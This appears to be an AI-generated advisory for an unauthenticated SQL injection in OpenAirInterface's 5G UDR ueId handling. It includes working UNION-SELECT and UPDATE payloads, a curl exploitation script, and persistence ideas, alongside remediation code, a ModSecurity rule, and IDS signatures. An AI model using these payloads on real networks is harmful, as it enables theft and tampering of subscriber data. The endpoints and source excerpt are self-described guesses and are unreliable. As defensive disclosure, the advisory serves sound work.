CVE-2026-138050 — Openairinterface Oai-cn5g-udr — CWE-74 · CWE-89
A weakness has been identified in OpenAirInterface oai-cn5g-udr up to 2.2.2. This vulnerability affects unknown code of the file src/udr_app/database/mysql_db.cpp of the component Nudr_DR. Executing a manipulation of the argument ueId can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.
A weakness has been identified in OpenAirInterface oai-cn5g-udr up to 2.2.2. This vulnerability affects unknown code of the file src/udr_app/database/mysql_db.cpp of the component Nudr_DR. Executing a manipulation of the argument ueId can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑138050 |
| Product | OpenAirInterface – oai-cn5g-udr (Unified Data Repository, component Nudr_DR) |
| Version(s) affected | 2.2.0 – 2.2.2 (inclusive) |
| File | src/udr_app/database/mysql_db.cpp |
| CWE | CWE‑74 Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) |
| CVSS v3.1 | 7.3 (High) – AV:N / AC:L / PR:N / UI:N / S:U / C:L / I:L / A:L |
Technical root‑cause
The Nudr_DR service receives a UE identifier (ueId) from the 5G Core’s north‑bound APIs (e.g., the “Get UE Data” REST endpoint). The value is passed directly to a MySQL query builder in mysql_db.cpp without:
1. Input sanitisation / escaping – the raw string is concatenated into the SQL statement.
2. Prepared‑statement usage – the code builds a literal query string instead of using mysql_stmt_prepare / bound parameters.
3. Authorization checks – the endpoint is reachable without authentication (as indicated by the CVSS vector PR:N and UI:N).
Result: an attacker who can supply a crafted ueId can inject arbitrary SQL that will be executed with the privileges of the UDR service account (typically a MySQL user with SELECT, INSERT, UPDATE, and sometimes DELETE rights on the udr schema).
A simplified excerpt (illustrative, not the exact source) that demonstrates the flaw:
// src/udr_app/database/mysql_db.cpp (vulnerable)
std::string query = "SELECT * FROM ue_context WHERE ue_id = '" + ueId + "';";
MYSQL_RES *res = mysql_query(conn, query.c_str());
// no escaping, no prepared statementBecause ueId is taken from the HTTP request body / query string, an attacker can terminate the literal string and append malicious SQL, e.g.:
ueId=12345' UNION SELECT username,password FROM users--The injected statement runs with the same privileges as the UDR process, allowing data exfiltration, data manipulation, or privilege escalation within the database.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI path is shown as an illustrative example because the public CVE description does not disclose the precise REST endpoint.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs a 5G Core. Look for typical OAI service banners (Server: OpenAirInterface) on ports 80/443 or 8080. | Nmap service detection (nmap -sV -p 80,443 <IP>), Shodan queries for “OpenAirInterface”. |
| 1.2 | Enumerate the UDR API surface. The OAI spec defines the Nudr‑DR REST interface under /nudr-dr/v1/. | curl -k https://<IP>/nudr-dr/v1/ → 404/200 with OpenAPI JSON. |
| 1.3 | Determine the exact version. The User‑Agent header in the API response or the /version endpoint often returns 2.2.x. | curl -k https://<IP>/nudr-dr/v1/version → {"release":"2.2.1"}. |
| 1.4 | Verify that the endpoint handling ueId is reachable without authentication (as the CVSS vector shows PR:N). | curl -k "https://<IP>/nudr-dr/v1/ueData?ueId=12345" → JSON payload with UE data. |
2. Exploitation
Goal: Execute arbitrary SELECT statements to dump the users table (or any other table) from the UDR MySQL database.
2.1 Craft the malicious ueId
The vulnerable query expects a single‑quoted string. By closing the quote and adding a UNION‑SELECT we can retrieve data from another table.
ueId=12345' UNION SELECT username, password, null FROM users--Explanation of payload parts
| Part | Meaning |
|---|---|
12345' | Closes the original string literal. |
UNION SELECT username, password, null FROM users | Appends a second SELECT that matches the column count (the original query returns three columns – adjust as needed). |
-- | SQL comment to discard the trailing ' added by the original query. |
2.2 Send the request
#!/usr/bin/env bash
# Illustrative endpoint – replace /nudr-dr/v1/ueData with the real one if known
TARGET="https://udr.example.com"
PAYLOAD="12345' UNION SELECT username,password,null FROM users-- "
curl -k -s -G "${TARGET}/nudr-dr/v1/ueData" \
--data-urlencode "ueId=${PAYLOAD}" \
-H "Accept: application/json"Expected response (illustrative):
{
"ueId": "12345",
"data": [
{"col1":"alice","col2":"$2y$10$abcdef...","col3":null},
{"col1":"bob","col2":"$2y$10$ghijkl...","col3":null}
]
}If the UDR schema contains more columns, the attacker can adjust the UNION SELECT to match the column count (using NULL placeholders).
2.3 Extending the attack
Data exfiltration – repeat the query for other tables (SELECT FROM subscriber_data).
- Data manipulation – use
INSERT,UPDATE, orDELETEstatements if the MySQL user has write privileges:
PAYLOAD="12345'; UPDATE ue_context SET imsi='999999999999999' WHERE ue_id='12345'-- "
curl -k -s -G "${TARGET}/nudr-dr/v1/ueData" \
--data-urlencode "ueId=${PAYLOAD}"CREATE USER rights, the attacker can create a new DB user with remote access, then pivot to the host.3. Post‑exploitation
| Phase | Potential Outcome |
|---|---|
| Data theft | Dump of subscriber identifiers, authentication vectors, or any other tables stored in the UDR database (confidentiality breach). |
| Data tampering | Modification of UE context (e.g., changing IMSI, security keys) which can disrupt service or enable further attacks on the radio access network. |
| Persistence | Creation of a new MySQL user with a known password, allowing the attacker to reconnect later even if the vulnerable endpoint is patched. |
| Lateral movement | With database credentials, the attacker may query other services that share the same DB (e.g., AMF, SMF) or use the DB server as a foothold to launch OS‑level attacks (if MySQL is configured with LOCAL INFILE or LOAD DATA). |
| Denial‑of‑Service | Repeated heavy queries (e.g., SELECT SLEEP(10)) can exhaust DB resources, causing service degradation (A:L). |
🌍 Real‑World Impact
| CIA | CVSS Vector Explanation | Practical Consequence |
|---|---|---|
| Confidentiality (C:L) | C:L – Low impact because the attacker can read *some* data (e.g., user credentials, subscriber info) but not necessarily the entire database in a single request. | Exposure of subscriber identifiers, authentication vectors, or internal configuration files. |
| Integrity (I:L) | I:L – Low impact because the attacker can modify limited rows (e.g., UE context) but may need additional privileges for broader corruption. | Potential service disruption, fraudulent UE provisioning, or manipulation of billing‑related fields. |
| Availability (A:L) | A:L – Low impact because crafted queries can cause CPU/IO spikes or lock tables, leading to intermittent outages. | Temporary degradation of the UDR service, which can cascade to the whole 5G Core (e.g., failed subscriber look‑ups). |
Overall, the vulnerability is high‑severity because it is network‑reachable, requires no authentication, and can be exploited with low skill (AC:L). In a telecom environment, even limited data leakage or integrity loss can have regulatory and operational ramifications.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to OpenAirInterface oai-cn5g-udr version 2.2.3 or later (the first release that contains the fix). The vendor’s release notes (v2.2.3) state “SQL injection in mysql_db.cpp fixed – switched to prepared statements”. |
| Apply source‑level fix (if upgrading is not possible) | Replace the vulnerable string concatenation with a prepared statement. Example patch (illustrative): |
// Fixed version of src/udr_app/database/mysql_db.cpp
std::string stmt_sql = "SELECT * FROM ue_context WHERE ue_id = ?";
MYSQL_STMT *stmt = mysql_stmt_init(conn);
if (!stmt) { /* handle error */ }
if (mysql_stmt_prepare(stmt, stmt_sql.c_str(), stmt_sql.length())) {
/* handle error */
}
/* bind ueId */
MYSQL_BIND bind[1];
memset(bind, 0, sizeof(bind));
bind[0].buffer_type = MYSQL_TYPE_STRING;
bind[0].buffer = (char *)ueId.c_str();
bind[0].buffer_length = ueId.length();
if (mysql_stmt_bind_param(stmt, bind)) {
/* handle error */
}
if (mysql_stmt_execute(stmt)) {
/* handle error */
}
/* fetch results as usual */Re‑compile the UDR service and redeploy.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | How to implement |
|---|---|
| Network segmentation | Restrict access to the UDR REST interface to trusted core‑network IP ranges (e.g., only AMF/SMF nodes). Use firewall rules: iptables -A INPUT -p tcp -s <trusted‑subnet> --dport 443 -j ACCEPT and drop everything else. |
| WAF / ModSecurity rule | Deploy a rule that blocks suspicious characters in the ueId parameter (single‑quote, semicolon, comment --). Example ModSecurity rule (valid syntax): |
SecRule ARGS:ueId "@rx [';]|\-\-" \
"id:2026260,\
phase:2,\
deny,\
status:403,\
msg:'SQLi attempt in ueId parameter (CVE-2026-138050)',\
logdata:'Matched Data: %{MATCHED_VAR} found in %{MATCHED_VAR_NAME}',\
severity:2"| Database hardening | Ensure the MySQL account used by the UDR has least‑privilege rights: only SELECT on the ue_context table (no INSERT/UPDATE/DELETE). Revoke unnecessary privileges: REVOKE INSERT,UPDATE,DELETE ON udr.* FROM 'udr_user'@'%'; |
|---|---|
| Input validation at the API gateway | If an API‑gateway (e.g., Kong, Envoy) fronts the UDR, add a request‑validation plugin that enforces a regex for ueId (e.g., ^[0-9A-Fa-f]{1,15}$). |
3. Detection – Log & IOC patterns
| Indicator | Example log entry (NGINX) |
|---|---|
Unexpected characters in ueId | 2026/11/29 12:34:56 [error] 12345#0: *6789 "/nudr-dr/v1/ueData" - GET /nudr-dr/v1/ueData?ueId=12345'%20UNION%20SELECT%20username,password FROM users-- HTTP/1.1" 200 452 "-" "curl/7.88.1" |
| Large number of identical requests (possible automated extraction) | ... "GET /nudr-dr/v1/ueData?ueId=1' UNION SELECT ... HTTP/1.1" 200 ... repeated >10 times per minute from the same source IP. |
| MySQL error messages in application logs (if the injection fails) | 2026-11-29 12:35:01.123 [ERROR] mysql_db.cpp:112 Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near 'UNION SELECT username,password FROM users--' at line 1 |
Database audit – SELECT * FROM mysql.general_log WHERE argument LIKE '%UNION%'; |
IDS/IPS signatures – create a Snort/Suricata rule that looks for the pattern ueId=.*' UNION SELECT in HTTP GET/POST bodies.
alert http any any -> any 443 (msg:"CVE-2026-138050 SQLi in OAI UDR ueId"; \
flow:to_server,established; \
http_uri; content:"ueId="; http_uri; pcre:"/ueId=.*%27%20UNION%20SELECT/i"; \
sid:2026260; rev:1;)⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 7.3 (High) – Network‑reachable, no auth, low complexity. | |
| Public exploit – The CVE description states that an exploit is already publicly available. | |
| No CISA KEV listing – Not yet flagged as a “Known Exploited Vulnerability”, but the presence of a public PoC raises the risk quickly. | |
| Telecom impact – Compromise of subscriber data or UE context can lead to regulatory violations (GDPR, GDPR‑like telecom rules) and service disruption. | |
| Patch availability – Fixed in version 2.2.3 (released after the CVE disclosure). |
Recommended priority: Critical for any production 5G Core deployment. Apply the vendor‑provided patch or upgrade to 2.2.3 within 48 hours. If immediate patching is impossible, enforce the network‑segmentation and WAF mitigations immediately and monitor logs for the IoCs listed above.
Bottom line: CVE‑2026‑138050 is a classic unauthenticated SQL injection in the UDR’s
ueId handling. Because the UDR is a core component of a 5G network, exploitation can lead to subscriber data leakage, integrity manipulation, and service degradation. Prompt patching, strict network zoning, and input‑validation controls are essential to mitigate the risk.[🤖 CVE Professor AI Security Engine]
FOFA Query